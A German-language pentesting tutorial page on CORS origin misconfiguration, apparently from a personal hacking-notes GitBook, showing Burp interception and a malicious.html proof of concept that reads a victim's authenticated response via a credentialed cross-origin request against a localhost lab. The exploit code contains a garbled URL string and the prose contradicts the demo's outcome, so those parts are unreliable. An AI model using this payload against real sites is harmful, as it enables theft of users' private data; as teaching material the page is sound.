> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/cors-origin-pentesting-web.md).

# CORS-Origin-Fehlkonfiguration

### Cross-Origin Resource Sharing (CORS):

All diese Informationen sind auf der Website verfügbar:

<figure><img src="/files/0a6db1c3cef1547c346136b1f1d4c462773549d9" alt="" width="563"><figcaption></figcaption></figure>

Wir fangen sie mit Burp Suite ab und stellen fest, dass zwei Felder "**Zugriffskontroll-Anmeldedaten**" und "**origin**" in der Antwort falsch konfiguriert sind:

<figure><img src="/files/f4c96f049caffd6a557a2311761e17a09adb9010" alt=""><figcaption></figcaption></figure>

Wir fügen ein **neues Feld origin** in die Anfrage mit dem Link einer Beispiel-Webseite "google.com" ein und stellen fest, dass es akzeptiert wird:

<figure><img src="/files/ca2bd824d685fc49299e03fca32de9e1a5071265" alt=""><figcaption></figcaption></figure>

Wir erstellen eine Datei web **malicious.html** die die Schwachstelle mit den Feldern origin und credentials ausnutzt:

```html
<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('GET', 'http://localhost:5000/confidentiathe , true);
   req.withCredentials = true;
   req.send();
   function reqListener() {
		document.getElementById("stolenInfo").innerHTML = req.responseText;
   }
</script>
<center><h1>Du wurdest gehackt, das sind die Informationen, die ich von dir gestohlen habe</h1></center>
<p id="stolenInfo"></p>

```

Mit **Python**, erstellen wir einen Webserver:

<figure><img src="/files/59ae844fcf7eb1b78ffc5e297b4a3de5aa48bb52" alt=""><figcaption></figcaption></figure>

Wir greifen auf unsere Website zu und die vertraulichen Informationen wurden nicht **an unsere Website gesendet**:

<figure><img src="/files/5445694f1e0cf5e32e5a9828e6ddc97391aa9065" alt=""><figcaption></figcaption></figure>

Wenn CORS korrekt konfiguriert wäre, hätten wir die folgende Fehlermeldung erhalten:

<figure><img src="/files/b1ea58173248e045ccaf266fbc96e2287260ea43" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/cors-origin-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
